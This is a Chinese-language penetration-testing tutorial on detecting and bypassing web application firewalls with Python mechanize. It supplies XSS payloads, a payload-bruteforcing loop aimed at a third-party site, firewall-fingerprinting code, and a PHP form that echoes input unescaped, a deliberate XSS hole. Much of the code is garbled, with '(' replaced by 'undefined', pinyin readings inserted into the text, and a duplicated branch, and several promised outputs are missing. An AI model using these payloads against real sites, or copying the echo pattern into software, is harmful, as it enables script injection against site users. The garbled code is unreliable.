Web應用防火(huǒ)牆通常放(fàng)置在Web服務器的前面,以過濾來自服務器的惡意流量。如果你去(qù)一(yī)家公司做滲透測試,他們忘記告訴你,他們使用的Web應用防火(huǒ)牆,可能會影響滲透測試進度。下(xià)圖描繪了一(yī)個簡單的Web應用程序防火(huǒ)牆的工(gōng)作原理:
正如你可以看到它像Web流量和Web服務器之間的牆壁,通常現在Web應用防火(huǒ)牆是基于簽名的。
什麽是基于簽名的防火(huǒ)牆?
在基于簽名的防火(huǒ)牆中(zhōng),您可以定義簽名,因爲您知(zhī)道網絡攻擊也遵循類似的模式或簽名。因此,我(wǒ)們可以定義匹配模式并阻止它們,即
Payload :- <svg><script>alert`1`<p>
上面定義的Payload是一(yī)種跨站點腳本攻擊,我(wǒ)們知(zhī)道所有這些攻擊都可以包含以下(xià)字符“<script>”,所以爲什麽我(wǒ)們不定義一(yī)個可以阻止Web流量的簽名,如果它包含這個字符串,我(wǒ)們可以定義2-3個簽名如下(xià):
<script>
alert(*)
第一(yī)個簽名将阻止包含<script>子串的任何請求,第二個将阻止警報(任何文本)。那麽這就是基于簽名的防火(huǒ)牆的工(gōng)作原理。
怎麽知(zhī)道有防火(huǒ)牆?
如果您正在進行滲透測試,并且您不知(zhī)道有防火(huǒ)牆阻塞流量,因爲它可能浪費(fèi)了大(dà)量的時間,因爲大(dà)多數時候,您的攻擊有效負載被防火(huǒ)牆阻止,所以,在開(kāi)始滲透測試之前,首先測試Web應用程序防火(huǒ)牆存在是一(yī)個好主意。
大(dà)多數防火(huǒ)牆現在就留下(xià)一(yī)些關于它們的軌迹,現在如果您使用上面定義的有效載荷攻擊網絡應用程序,并獲得以下(xià)響應:
HTTP/1.1 406 Not Acceptable Date: Mon, 10 Jan 2016 Server: nginx Content-Type: text/html; charset=iso-8859-1 Not Acceptable!Not Acceptable! An appropriate representation of the
您可以清楚地看到,您的攻擊被Mod_Security防火(huǒ)牆阻止。在本文中(zhōng),我(wǒ)們将看到我(wǒ)們如何開(kāi)發一(yī)個簡單的python腳本,可以執行此任務檢測防火(huǒ)牆并繞過它。
步驟1:定義HTML文檔和PHP腳本!
我(wǒ)們必須定義我(wǒ)們的HTML文檔來注入有效載荷和相應的PHP腳本來處理數據。我(wǒ)們在下(xià)面定義了這兩個。
我(wǒ)們将使用以下(xià)HTML文檔:
<html> <body> <form name="waf" action="waf.php" method="post"> Data: <input type="text" name="data"><br> <input type="submit" value="Submit"> </form> </body> </html>
PHP腳本:
<html> <body> Data from the form : <?php echo $_POST["data"]; ?><br> </body> </html>
步驟2:準備惡意請求!
檢測防火(huǒ)牆存在的第二步是創建一(yī)個可以被防火(huǒ)牆阻止的惡意跨站腳本請求。我(wǒ)們将使用一(yī)個名爲“Mechanize”的python模塊,了解更多關于此模塊的信息,請閱讀以下(xià)文章:
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果您已經了解了Mechanize,可以跳過閱讀文章。現在您了解了Mechanize,我(wǒ)們可以選擇任何頁面上提供的Web表單并提交請求。以下(xià)代碼片段可用于做到這一(yī)點:
import mechanize as mec maliciousRequest = mec.Browser() formName = 'waf' maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_form(formName)
讓我(wǒ)們明白(bái)這個代碼行:
在第一(yī)行,我(wǒ)們導入了mechanize模塊,并給它一(yī)個簡稱'mec'供以後參考。
要使用mechanize下(xià)載網頁,需要實例化浏覽器。我(wǒ)們已經在代碼的第二行中(zhōng)做到了。
在第一(yī)步,我(wǒ)們定義了我(wǒ)們的HTML文檔,其中(zhōng)表單名稱爲“waf”,我(wǒ)們需要告訴mechanize選擇此表單提交,因此我(wǒ)們在名爲formName的變量中(zhōng)使用此名稱。
比我(wǒ)們打開(kāi)這個URL,就像我(wǒ)們在浏覽器中(zhōng)一(yī)樣。頁面打開(kāi)後,我(wǒ)們填寫表單并提交數據,因此頁面的打開(kāi)與此相同。
最後我(wǒ)們選擇了使用'select_form'函數傳遞它'formName'變量的形式。
正如你可以在HTML源代碼中(zhōng)看到的那樣,這個表單隻有一(yī)個輸入字段,我(wǒ)們将在該字段中(zhōng)注入我(wǒ)們的payload,一(yī)旦我(wǒ)們收到響應,我(wǒ)們将檢查它的字符串以檢測是否存在Web應用防火(huǒ)牆。
步驟3:準備有效載荷
在我(wǒ)們的HTML文檔中(zhōng),我(wǒ)們使用以下(xià)代碼指定了一(yī)個輸入字段:
<input type =“text”name =“data”> <br>
您可以看到該字段的名稱是“data”,我(wǒ)們可以使用以下(xià)代碼定義此字段的輸入:
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>" maliciousRequest.form['data'] = crossSiteScriptingPayLoad
第一(yī)行将我(wǒ)們的有效載荷保存在變量中(zhōng)。
在第二行代碼中(zhōng),我(wǒ)們已将我(wǒ)們的有效内容分(fēn)配給表單字段“數據”。
我(wǒ)們現在可以安全地提交此表格并檢查答複。
步驟4:提交表單并記錄回複
代碼我(wǒ)将在此行提及後提交表單并記錄回複:
maliciousRequest.submit() response=maliciousRequest.response().read() print response
提交表單
将響應保存在變量中(zhōng)。
打印回應。
由于我(wǒ)目前沒有安裝防火(huǒ)牆,所以我(wǒ)得到的響應是:
可以看到有效載荷被打印回我(wǒ)們,意味着應用程序代碼中(zhōng)不存在過濾,并且由于沒有防火(huǒ)牆,我(wǒ)們的請求也沒有被阻止。
步驟5:檢測防火(huǒ)牆的存在
名爲“response”的變量包含從服務器獲得的響應,我(wǒ)們可以使用響應來檢測防火(huǒ)牆的存在。我(wǒ)們将嘗試在本教程中(zhōng)檢測到以下(xià)防火(huǒ)牆的存在。
WebKnight
mod_security
Dot Defender
看看我(wǒ)們如何用python代碼實現這一(yī)點:
if response.find('WebKnight') >= 0: print "Firewall detected: WebKnight" elif response.find('Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.find('Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.find('dotDefender') >= 0: print "Firewall detected: Dot Defender" else: print "No Firewall Present"
如果安裝Web Knight防火(huǒ)牆并且我(wǒ)們的請求被阻止,響應字符串将在其中(zhōng)包含“WebKnight”,那麽find函數将返回大(dà)于0的值,這意味着WebKnight防火(huǒ)牆存在。同樣,我(wǒ)們也可以檢查其他2個防火(huǒ)牆。
我(wǒ)們可以擴展這個小(xiǎo)應用程序來檢測多少個防火(huǒ)牆,但您必須知(zhī)道響應行爲。
使用強力來繞過防火(huǒ)牆過濾器
我(wǒ)在文章的開(kāi)頭提到,大(dà)多數防火(huǒ)牆都基于簽名阻止請求。但是,您可以使用數千種方式構建payload。javascript比較複雜(zá),我(wǒ)們可以列出有效負載,并嘗試其中(zhōng)的每一(yī)個,記錄每個響應并檢查是否能夠繞過防火(huǒ)牆。請注意,如果防火(huǒ)牆規則被明确定義,則此方法可能無法正常工(gōng)作。讓我(wǒ)們看看我(wǒ)們如何使用python來強爆:
listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt( 1)<i>', '<a href="javascript:alertundefined1)">CLICK ME<a>'] for payLoads in listofPayloads: maliciousRequest = mec.Browserundefined) formName = 'waf' maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_formundefinedformName) maliciousRequest.form['data'] = payLoads maliciousRequest.submitundefined) response = maliciousRequest.responseundefined).readundefined) if response.findundefined'WebKnight') >= 0: print "Firewall detected: WebKnight" elif response.findundefined'Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.findundefined'Mod_Security') >= 0: print "Firewall detected: Mod Security" elif response.findundefined'dotDefender') >= 0: print "Firewall detected: Dot Defender" else: print "No Firewall Present"
在第一(yī)行,我(wǒ)們定義了3個有效載荷的列表,您可以擴展此列表,并根據需要添加多個有效負載。
然後在for循環中(zhōng),我(wǒ)們做了與上面所做的相同的過程,但是這一(yī)次對于列表中(zhōng)的每個有效載荷。
收到響應後,我(wǒ)們再次比較看看防火(huǒ)牆是否存在。
因爲我(wǒ)沒有安裝防火(huǒ)牆,我(wǒ)的輸出是:
将HTML标簽轉換爲Unicode或Hex實體(tǐ)
如果防火(huǒ)牆正在過濾html标簽,如<>。我(wǒ)們可以發送相應的Unicode或Hex實體(tǐ),看看它們是否被轉換爲原始形式,如果是這樣,那麽這也可能是一(yī)個入口點。以下(xià)代碼可用于檢查此過程:
listofPayloads = ['<b>','u003cbu003e','x3cbx3e'] for payLoads in listofPayloads: maliciousRequest = mec.Browser() formName = 'waf' maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html") maliciousRequest.select_form(formName) maliciousRequest.form['data'] = payLoads maliciousRequest.submit() response = maliciousRequest.response().read() print "---------------------------------------------------" print response print "---------------------------------------------------"
每次我(wǒ)們将發送編碼的數據,在響應中(zhōng),我(wǒ)們将檢查是否轉換或打印回而不進行轉換,當我(wǒ)運行這個代碼,我(wǒ)得到了這個輸出:
表示沒有編碼的數據被轉換爲其原始格式。
結論
本文的目的是讓您了解web應用防火(huǒ)牆,測試您網絡的安全性,很多時候我(wǒ)們首先關心的應用程序的穩定性,但是我(wǒ)們忽略了安全部分(fēn),導緻後期出現了嚴重的安全問題。
上一(yī)篇:2017中(zhōng)國網絡安全企業50強
下(xià)一(yī)篇:智慧城市市場将超6萬億 未來投資(zī)前景巨大(dà)